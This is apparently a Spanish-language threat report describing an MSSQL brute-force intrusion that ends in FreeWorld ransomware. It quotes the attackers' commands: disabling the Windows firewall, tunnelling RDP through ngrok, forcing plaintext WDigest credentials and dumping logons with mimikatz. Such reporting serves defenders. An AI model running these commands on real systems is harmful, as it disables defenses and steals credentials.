Un equipo de investigación ha identificado una campaña de ataque en la que actores de amenazas se dirigen a servicios expuestos de Microsoft SQL (MSSQL) mediante ataques de fuerza bruta. Los atacantes utilizan herramientas y cargas útiles para lograr sus objetivos, destacando el uso del ransomware FreeWorld.
Acceso inicial
Los actores de amenazas obtuvieron acceso al host mediante fuerza bruta a un inicio de sesión MSSQL. Una vez autenticados, comenzaron a enumerar la base de datos y se centraron en otras credenciales de inicio de sesión.
Al descubrir que el procedimiento almacenado xp_cmdshell estaba habilitado, los atacantes ejecutaron comandos de shell en el host. Esta función permite la ejecución de comandos y normalmente no debe habilitarse a menos que sea necesario.
Enumeración del sistema
La enumeración se llevó a cabo utilizando algunos comandos básicos, como wmic.exe, net.exe e ipconfig.exe. Cada uno se ejecutó a través de MSSQL xp_cmdshell.
Una vez que estuvieron seguros de que el sistema objetivo era legítimo, comenzaron la siguiente fase del ataque, que incluía realizar cambios de configuración para afectar las defensas del servidor.
Deteriorar defensas
Los atacantes ejecutaron una amplia gama de comandos en el host, desde la creación/modificación de usuarios hasta cambios en el registro. Los comandos se ejecutaron en rápida sucesión, lo que indica que probablemente los estaban copiando de una lista de herramientas o un documento propio.
Creación de usuario
Se crearon tres nuevos usuarios en el host de la víctima y cada uno fue agregado a los «usuarios de escritorio remoto», «administradores». Se ejecutaron varios comandos separados por el carácter «&» que crean y agregan usuarios al grupo de administradores en tres idiomas diferentes: inglés (administradores), alemán (administratoren), polaco (administratorzy), catalán (administradores) y español (administradores).
Los atacantes ejecutaron múltiples comandos similares al anterior para cada uno de los usuarios antes mencionados. Una vez que los usuarios y grupos estuvieron en su lugar, se ejecutaron los siguientes comandos para garantizar que las contraseñas no caduquen y que el usuario nunca cierre la sesión:
net accounts /maxpwage:unlimited
net accounts /forcelogoff:noEnumeración y modificación del registro
Quedó claro que los atacantes preferían usar RDP para conectarse a la máquina víctima. Más tarde se observó el uso del software proxy Ngrok; sin embargo, para comprender el terreno, los atacantes enumeraron el estado actual del entorno RDP realizando cambios en el registro para garantizar el éxito de la conexión.
Deshabilitar el firewall del sistema
En lugar de simplemente permitir conexiones a través del Firewall de Windows, o verificar su estado, los atacantes optaron por el enfoque «Ave María» y lo desactivaron por completo ejecutando:
netsh firewall set opmode disableEstablecer persistencia
Los atacantes habían desactivado gran parte de las defensas del sistema, especialmente en lo que respecta a la protección de la red y las autenticaciones RDP. La siguiente fase implicó conectarse a un recurso compartido SMB remoto para transferir herramientas de entrada y salida.
Uso de ngrok
Los atacantes intentaron establecer la persistencia de RDP a través de Ngrok. Ngrok permite eludir el firewall ejecutando un servicio en el host. Se proporciona al atacante una IP pública y un puerto para conectarse.
El binario Ngrok se copió en el sistema y simplemente se denominó n.exe. Se intentó establecer una conexión utilizando el siguiente comando a través de svr.exe:
cmd.exe /c c:/windows/system32/n.exe config add-authtoken [REDACTADO] & c:/windows/system32/n.exe tcp 3389El intento finalmente no tuvo éxito ya que Ngrok estaba siendo bloqueado por el firewall.
AnyDesk RAT
Los atacantes pasaron al software de acceso remoto, AnyDesk, que puede funcionar como una RAT. Los actores de amenazas lo han estado aprovechando durante bastante tiempo para enviar ransomware a sus víctimas.
Movimiento lateral
Los atacantes comenzaron a enumerar la red. Para eso se instaló la utilidad Advanced Port Scanner.
Volcado de credenciales
Se ejecutó Mimikatz a través de otro archivo por lotes. El propósito era modificar primero el registro para forzar credenciales de texto sin cifrar. Esto se realiza mediante un ataque de degradación de WDigest.
El archivo por lotes hizo esto ejecutando el siguiente comando invocando el cambio de registro:
reg add "hkey_local_machine\system\currentcontrolset\control\securityproviders\wdigest" /v uselogoncredential /t reg_sz /d 1 /fLuego, ejecuta mimikatz.exe para volcar las credenciales:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exitRansomware FreeWorld
Los atacantes descargaron e implementaron el ransomware Mimic en el host. FreeWorld parece ser una variante de Mimic, ya que sigue muchos TTP similares para llevar a cabo sus objetivos.
El dropper «5000.exe» extrajo 7zip y la aplicación Everything en el directorio temporal del usuario. «5000.exe» indicó a 7zip que extrajera el contenido de un Everything64.dll falso (que es un archivo protegido con contraseña) en el directorio actual.
Tras la ejecución, el ransomware comenzó a cifrar el host de la víctima y generó archivos cifrados utilizando la extensión «.FreeWorldEncryption». Una vez completado el cifrado, se crea un archivo de texto llamado «FreeWorld-Contact.txt» con instrucciones sobre cómo pagar el rescate.